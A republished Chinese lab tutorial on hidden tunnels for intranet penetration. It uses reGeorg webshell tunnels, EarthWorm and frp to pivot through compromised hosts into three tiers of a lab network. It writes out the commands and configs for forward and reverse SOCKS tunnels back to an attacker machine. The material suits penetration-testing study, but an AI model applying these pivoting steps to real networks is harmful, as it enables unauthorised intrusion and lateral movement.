内网渗透之隐藏通信隧道 您所在的位置:网站首页 SOCKs5 内网渗透之隐藏通信隧道

内网渗透之隐藏通信隧道

2022-11-12 18:58| 来源: 网络整理| 查看: 265

SOCKS是一种代理服务,可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型: SOCKS 4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080.SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务 端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。

Proxifier

Proxifier 也是一款非常好用的全局代理软件

下载地址:https://www.proxifier.com/

Proxifer提供了跨平台的端口转发和代理功能,适用于Windows、Linux、MacOS平台SocksCap64可以使Windows应用程序通过sOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理

ProxyChains

ProxyChains是款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

下载地址:http://proxychains.sourceforge.net/

reGeorg

下载地址:sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. (github.com)

reGcorg是reDuh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路。

reGorg可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGcorg利用WebShell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种。

reGeorg分为reGeorgSocksProxy.py本体和隧道tunnel.php,其中本体用在攻击机,而隧道用在目标机器

攻击测试

环境:

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘设备:

win7(ip1:192.168.200.33,ip2:10.10.10.17)

内网主机:

windows server 2016(DC)(ip:10.10.10.10)

在边缘设备用phpstudy架设了服务器,并且已经将tunnel.php上传到网站根目录,此时,使用kali访问tunnel.php,查看是否可行

注意:tunnel.php似乎只支持低版本php,高版本似乎无法运行

php版本:7.3.4

1635744985_617f7cd903dc820022fe4.png!small

php版本:5.2.17

1635745020_617f7cfc19813decda4cf.png!small?1635745020319

当出现Georg says, 'All seems fine'说明成功配置

在kali配置本体reGeorgSocksProxy.py(似乎需要urllib3,可能是我已经装了,并没有报错)

python reGeorgSocksProxy.py -l 0.0.0.0 -p 1111 -u http://192.168.200.33/tunnel.php-l:需要监听的ip-p:需要监听的端口-u:包含着tunnel脚本的网址

1635745030_617f7d060ad903be8fbfa.png!small?1635745031010

出现红框内的Georg says, 'All seems fine'说明配置成功

如果允许脚本时出现权限不够则要在属性内配置可执行权限(chmod +x也行)

1635745039_617f7d0fbe34069b2d493.png!small?1635745039953

然后再win7攻击机尝试连接代理,我使用的是Proxifier,它在测试连接可用性的时候会访问百度,我们再kali可以查看到访问页面的结果

1635745052_617f7d1c9cf065b21fde9.png!small?1635745053241

也可以直接在kali上使用proxychains远程连接win7的桌面

proxychains rdesktop -g 1440x900 10.10.10.17:3389 //-g后面代表要使用的分辨率

但是我这里两种方法连接远程桌面都失败了,但是代理中一直有流量流过,所以理论上是可行的

EarthWorm(资源已经很难找到,开发者停止更新并且关闭下载)

EarthWom(EW)是套便携式的网络工具, 具有SOCKS 5服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透

下载地址:https://github.com/rootkiter/EarthWorm

EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统(Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。

EW的新版本Termite

下载地址:https://github.com/rootkiter/Termite

命令

EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、rssocks、Icx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。

-l 本地要监听的端口 -f 要主动连接的ip -g 要主动连接的端口 -d 要反弹到的ip -e 要反弹到的端口 -s 工作模式 工作模式支持如下: lcx_tran 正向tcp端口转发,监听在本地 lcx_slave 反向tcp转发客户端 lcx_listen 反向tcp服务端 ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去 rssocks 创建反向socks代理服务端? rcsocks 反向socks代理客户端?环境

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘主机:

windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)

内网主机:

windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)

windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)

windows 10(内网ip:10.10.30.110)

假设所有主机都已经拿到控制权

1635745083_617f7d3b6afdc507d165d.png!small?1635745083885

正向连接

在目标机器假设一个socks5通道

ew_for_Win.exe -s ssocksd -l 6666

1635745100_617f7d4c992cab33ae80c.png!small?1635745100779

在攻击机上测试代理

成功

1635745111_617f7d57b8c567a7e500f.png!small?1635745112009

成功远程连接到2008的内网ip

1635745118_617f7d5ec75df1908b45b.png!small?1635745119236

反向连接

在攻击机kali设置监听,将6000端口收到的代理请求转发到7000

./ew_for_linux64 -s rcsocks -l 6000 -e 7000

1635745126_617f7d66876d8c214e156.png!small?1635745126903

然后让目标机器连接到kali

ew_for_Win.exe -s rssocks -d 192.168.200.4 -e 7000

1635745139_617f7d7316d1aa62807b3.png!small?1635745139236

使用攻击机win7进行测试

1635745148_617f7d7c2cf44bfca78e0.png!small?1635745148561

尝试远程连接2008的内网ip

成功

1635745156_617f7d8447ae44c374413.png!small?1635745156793

多级网络

1、从外网访问一级内网

首先在kali假设服务端

./ew_for_linux64 -s rcsocks -l 1111 -e 2222

1635745163_617f7d8bcd05d29f5d0c4.png!small?1635745164323

由于这台机器只是做转发而不是目标,所以既要让处于一级内网的2008连接kali,也要让2008连接到下一台机器

ew_for_Win.exe -s lcx_slave -d 192.168.200.4 -e 2222 -f 10.10.10.12 -g 3333

1635745170_617f7d92815f30634c97d.png!small?1635745170783

2、从一级内网访问二级内网

让处于二级内网的2012访问2008,由于刚才2008的命令已经包含了连接到2012的功能,所以2012只需要做端口转发即可

ew_for_Win.exe -s lcx_listen -l 3333 -e 4444

1635745178_617f7d9a048c38e4280c3.png!small?1635745178159

3、从二级内网访问三级内网

当2012做端口转发后,就可以使用windows 7连接2012了

ew_for_Win.exe -s rssocks -d 10.10.20.12 -e 4444

1635745188_617f7da45f1cbbd02ee57.png!small?1635745188546

然后在攻击机win7上测试是否能远程连接到三级内网

连接10.10.30.110成功

1635745194_617f7daacb6f274425c58.png!small?1635745195101

SocksCap64使用方法之使用SocksCap64代理Steam、LOL等游戏的教程_网络通讯_软件教程_脚本之家 (jb51.net)

Ubuntu系统中使用ProxyChains设置网络代理 - 简书 (jianshu.com)(要将proxychains.conf中的dynamic_chain前面的#去掉

FRP

frp 是⼀个开源、简洁易⽤、⾼性能的内⽹穿透和反向代理软件,⽀持 tcp, udp, http, https等协议。

frp 项⽬官⽹: https://github.com/fatedier/frp

frp ⽂档: https://gofrp.org/docs/

frp主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网IP的机器上,客户端通常部署在需要穿透的内网服务所在机器上。内网服务由于没有公网IP,不能被非局域网内的其他用户访问。用户通过访问服务端的frps,由frp负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。

frps配置

Frp完整的服务器端配置⽂件(可参考修改)

# [common] 是必需的[common]# ipv6的⽂本地址或主机名必须括在⽅括号中# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"bind_addr = 0.0.0.0bind_port = 7000

# udp nat 穿透端⼝bind_udp_port = 7001

# ⽤于 kcp 协议 的 udp 端⼝,可以与 "bind_port" 相同# 如果此项不配置, 服务端的 kcp 将不会启⽤kcp_bind_port = 7000

# 指定代理将侦听哪个地址,默认值与 bind_addr 相同# proxy_bind_addr = 127.0.0.1

# 如果要⽀持虚拟主机,必须设置⽤于侦听的 http 端⼝(⾮必需项)# 提示: http端⼝和https端⼝可以与 bind_port 相同vhost_http_port = 80vhost_https_port = 443

# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s# vhost_http_timeout = 60# 设置 dashboard_addr 和 dashboard_port ⽤于查看 frps 仪表盘# dashboard_addr 默认值与 bind_addr 相同# 只有 dashboard_port 被设定,仪表盘才能⽣效dashboard_addr = 0.0.0.0dashboard_port = 7500

# 设置仪表盘⽤户密码,⽤于基础认证保护,默认为 admin/admindashboard_user = admindashboard_pwd = admin

# 仪表板资产⽬录(仅⽤于 debug 模式下)# assets_dir = ./static# 控制台或真实⽇志⽂件路径,如./frps.loglog_file = ./frps.log

# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)log_level = info

# 最⼤⽇志记录天数log_max_days = 3

# 认证 tokentoken = 12345678

# ⼼跳配置, 不建议对默认值进⾏修改# heartbeat_timeout 默认值为 90# heartbeat_timeout = 90

# 允许 frpc(客户端) 绑定的端⼝,不设置的情况下没有限制allow_ports = 2000-3000,3001,3003,4000-50000

# 如果超过最⼤值,每个代理中的 pool_count 将更改为 max_pool_countmax_pool_count = 5

# 每个客户端可以使⽤最⼤端⼝数,默认值为0,表示没有限制max_ports_per_client = 0

# 如果 subdomain_host 不为空, 可以在客户端配置⽂件中设置 ⼦域名类型为 http 还是 https# 当⼦域名为 test 时, ⽤于路由的主机为 test.frps.comsubdomain_host = frps.com

# 是否使⽤ tcp 流多路复⽤,默认值为 truetcp_mux = true

# 对 http 请求设置⾃定义 404 ⻚⾯# custom_404_page = /path/to/404.html

frpc配置

server_addr = 102.224.185.237   #代理服务器的IP server_port = 7000              #服务端服务器设置frps.ini中的端口 token = asd                     #服务端服务器设置frps.ini中的密码 [web]                           #服务器名(可以填写ssh、ftp等) type = tcp                      #连接协议类型 local_ip = 127.0.0.1            #访问的ip可以是内网任何一个ip! local_port = 80                 #本地端口(根据协议修改) remote_port = 6001              #远程服务器的ip端口

Frp 完整的客户端配置⽂件(可参考修改)

# [common] 是必需的 [common] # ipv6的⽂本地址或主机名必须括在⽅括号中 # 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80" server_addr = 0.0.0.0 server_port = 7000 # 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy # 只⽀持 tcp协议 # http_proxy = http://user:[email protected]:8080 # http_proxy = socks5://user:[email protected]:1080 # 控制台或真实⽇志⽂件路径,如./frps.log log_file = ./frpc.log # ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误) log_level = info # 最⼤⽇志记录天数 log_max_days = 3 # 认证 token token = 12345678 # 设置能够通过 http api 控制客户端操作的管理地址 admin_addr = 127.0.0.1 admin_port = 7400 admin_user = admin admin_pwd = admin # 将提前建⽴连接,默认值为 0 pool_count = 5 # 是否使⽤ tcp 流多路复⽤,默认值为 true,必需与服务端相同 tcp_mux = true # 在此处设置⽤户名后,代理名称将设置为 {⽤户名}.{代理名} user = your_name # 决定第⼀次登录失败时是否退出程序,否则继续重新登录到 frps # 默认为 true login_fail_exit = true # ⽤于连接到服务器的通信协议 # ⽬前⽀持 tcp/kcp/websocket, 默认 tcp protocol = tcp # 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps tls_enable = true # 指定 DNS 服务器 # dns_server = 8.8.8.8 # 代理名, 使⽤ ',' 分隔 # 默认为空, 表示全部代理 # start = ssh,dns # ⼼跳配置, 不建议对默认值进⾏修改 # heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90 # heartbeat_interval = 30 # heartbeat_timeout = 90 # 'ssh' 是⼀个特殊代理名称 [ssh] # 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp type = tcp local_ip = 127.0.0.1 local_port = 22 # 是否加密, 默认为 false use_encryption = false # 是否压缩 use_compression = false # 服务端端⼝ remote_port = 6001 # frps 将为同⼀组中的代理进⾏负载平衡连接 group = test_group # 组应该有相同的组密钥 group_key = 123456 # 为后端服务开启健康检查, ⽬前⽀持 'tcp' 和 'http' # frpc 将连接本地服务的端⼝以检测其健康状态 health_check_type = tcp # 健康检查连接超时 health_check_timeout_s = 3 # 连续 3 次失败, 代理将会从服务端中被移除 health_check_max_failed = 3 # 健康检查时间间隔 health_check_interval_s = 10 [ssh_random] type = tcp local_ip = 127.0.0.1 local_port = 22 # 如果 remote_port 为 0 ,frps 将为您分配⼀个随机端⼝ remote_port = 0 # 如果要暴露多个端⼝, 在区块名称前添加 'range:' 前缀 # frpc 将会⽣成多个代理,如 'tcp_port_6010', 'tcp_port_6011' [range:tcp_port] type = tcp local_ip = 127.0.0.1 local_port = 6010-6020,6022,6024-6028 remote_port = 6010-6020,6022,6024-6028 use_encryption = false use_compression = false [dns] type = udp local_ip = 114.114.114.114 local_port = 53 remote_port = 6002 use_encryption = false use_compression = false [range:udp_port] type = udp local_ip = 127.0.0.1 local_port = 6010-6020 remote_port = 6010-6020 use_encryption = false use_compression = false # 将域名解析到 [server_addr] 可以使⽤ http://web01.yourdomain.com 访问 web01 [web01] type = http local_ip = 127.0.0.1 local_port = 80 use_encryption = false use_compression = true # http 协议认证 http_user = admin http_pwd = admin # 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01] subdomain = web01 custom_domains = web02.yourdomain.com # locations 仅可⽤于HTTP类型 locations = /,/pic host_header_rewrite = example.com # params with prefix "header_" will be used to update http request headers header_X-From-Where = frp health_check_type = http # frpc 将会发送⼀个 GET http 请求 '/status' 来定位http服务 # http 服务返回 2xx 状态码时即为存活 health_check_url = /status health_check_interval_s = 10 health_check_max_failed = 3 health_check_timeout_s = 3 [web02] type = https local_ip = 127.0.0.1 local_port = 8000 use_encryption = false use_compression = false subdomain = web01 custom_domains = web02.yourdomain.com # v1 或 v2 或 空 proxy_protocol_version = v2 [plugin_unix_domain_socket] type = tcp remote_port = 6003 plugin = unix_domain_socket plugin_unix_path = /var/run/docker.sock [plugin_http_proxy] type = tcp remote_port = 6004 plugin = http_proxy plugin_http_user = abc plugin_http_passwd = abc [plugin_socks5] type = tcp remote_port = 6005 plugin = socks5 plugin_user = abc plugin_passwd = abc [plugin_static_file] type = tcp remote_port = 6006 plugin = static_file plugin_local_path = /var/www/blog plugin_strip_prefix = static plugin_http_user = abc plugin_http_passwd = abc [plugin_https2http] type = https custom_domains = test.yourdomain.com plugin = https2http plugin_local_addr = 127.0.0.1:80 plugin_crt_path = ./server.crt plugin_key_path = ./server.key plugin_host_header_rewrite = 127.0.0.1 [secret_tcp] # 如果类型为 secret tcp, remote_port 将失效 type = stcp # sk ⽤来进⾏访客认证 sk = abcdefg local_ip = 127.0.0.1 local_port = 22 use_encryption = false use_compression = false # 访客端及服务端的⽤户名应该相同 [secret_tcp_visitor] # frpc role visitor -> frps -> frpc role server role = visitor type = stcp # 要访问的服务器名称 server_name = secret_tcp sk = abcdefg # 将此地址连接到访客 stcp 服务器 bind_addr = 127.0.0.1 bind_port = 9000 use_encryption = false use_compression = false [p2p_tcp] type = xtcp sk = abcdefg local_ip = 127.0.0.1 local_port = 22 use_encryption = false use_compression = false [p2p_tcp_visitor] role = visitor type = xtcp server_name = p2p_tcp sk = abcdefg bind_addr = 127.0.0.1 bind_port = 9001 use_encryption = false use_compression = false

Frp反向连接内网

使用frp要编辑配置文件,以内网主机为服务端,kali为客户端,反向链接

首先按先配置服务端

[common] bind_port = 7000

配置完成后启动

./frps -c frps.ini

1635745231_617f7dcf19039e12330b5.png!small?1635745231457

同理,要配置在kali上的客户端

[common] server_addr = 192.168.137.174      //frps的ip server_port = 7000                 //对应的端口   [plugin_socks5]                   //这个是额外加的,用于创建一个socks5的通道,可以给其他主机连接 type = tcp remote_port = 6000 plugin = socks5

如果攻击机填写了token,那么在客户端也要填写token

frpc.exe -c frpc.ini

显示如下内容则说明建立成功

1635745255_617f7de7bac3377c882aa.png!small?1635745256437

如果连接失败则显示如下内容

1635745262_617f7dee3abf88e08dca4.png!small?1635745262392

再回头看服务端

可以看到同时开了一个Sock5通道,使用其他攻击机进行连接

1635745269_617f7df51eb7d6cea60c8.png!small?1635745269499

我使用Proxifier来进行连接,Proxifier资源在网上很好找,我就不放下载链接了

1635745276_617f7dfc23f26077fa357.png!small?1635745276325

1635745283_617f7e03a7fa5679520ec.png!small?1635745284078

然后点击检查,查看是否连接成功

1635745290_617f7e0aded870a04bda6.png!small?1635745291119

不过这种检查是通过和和百度测试连通性,在内网内不一定可以成功,这时就要针对性的调整设置

1635745299_617f7e13853a9293ad247.png!small?1635745299929

多级网络代理

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘主机:

windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)

内网主机:

windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)

windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)

windows 10(内网ip:10.10.30.110)

假设所有主机都已经拿到控制权

1635745308_617f7e1c1040e8494dff7.png!small?1635745308513

1、代理边缘主机到一级内网

首先在kali攻击机架设frps

bind_addr = 192.168.200.4 bind_port = 7000

1635745318_617f7e26eb5023f75d666.png!small?1635745319124

然后让边缘主机2008连接

frpc

[common] server_addr = 192.168.200.4 server_port = 7000 [plugin_socks] type = tcp local_ip = 10.10.10.18 local_port = 6000 remote_port = 6000

1635745328_617f7e3093800604979f8.png!small?1635745328867

frps

1635745335_617f7e373f2c3a04385bc.png!small?1635745335717

2、代理一级到二级内网

当2008连接到kali后,自己也架设一个服务端

frps

[common] bind_addr = 10.10.10.18 bind_port = 7000

1635745348_617f7e44c7393411309a9.png!small?1635745349026

然后让2012连接2008

frpc

[common] server_addr = 10.10.10.18 server_port = 7000 [plugin_socks] type = tcp local_ip = 10.10.20.12 local_port = 6000 remote_port = 6000

1635745383_617f7e67d3371aebd1df2.png!small?1635745384169

frps

1635745367_617f7e57344d69278818a.png!small?1635745367764

3、代理二级到三级内网

当2012连接2008后,2012也假设一个服务端

[common] bind_addr = 10.10.20.12 bind_port = 7000

1635745396_617f7e7428c155a5e6ebd.png!small?1635745396380

让windows 7连接

frpc

[common] server_addr = 10.10.20.12 server_port = 7000   [plugin_socks] type = tcp local_ip = 10.10.30.17 local_port = 6000 remote_port = 6000 plugin = socks5

注意这里windows 7的frpc配置和其他不一样的点,这里多了一条

plugin = socks5

这一条很关键,后面我会说为什么

1635745406_617f7e7e94c93677b381f.png!small?1635745406831

frps

1635745412_617f7e84d42692b2f9d2e.png!small?1635745413251

最后测试是否到达了三级内网,使用win7攻击机的Proxifier测试远程连接

首先测试位于三级内网的win10

测试成功

1635745420_617f7e8cc64a0a691d59c.png!small?1635745421106

测试同样位于三层内网的windows 7(10.10.30.17)同样成功

测试位于二层内网的windows 7(10.10.20.17、window server 2012(10.10.20.12)

同样成功

1635745426_617f7e92e4c1111a95ec3.png!small?1635745427181

问题来了,测试10.10.10.x是失败的,经过我的多次实验,发现问题出在我上文所说的

plugin = socks5

我们在windows 7的frpc配置文件使用了这个属性,而他的ip为10.10.20.x和10.10.30.x,所以这个代理是无法直接远程连接到10.10.10.x的,如过在2008或者是2012使用了这个属性,就会导致无法连接10.10.30.x

说人话就为plugin = socks5这个属性只能同时存在一个,如果存在多个就以最先代理的为准



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有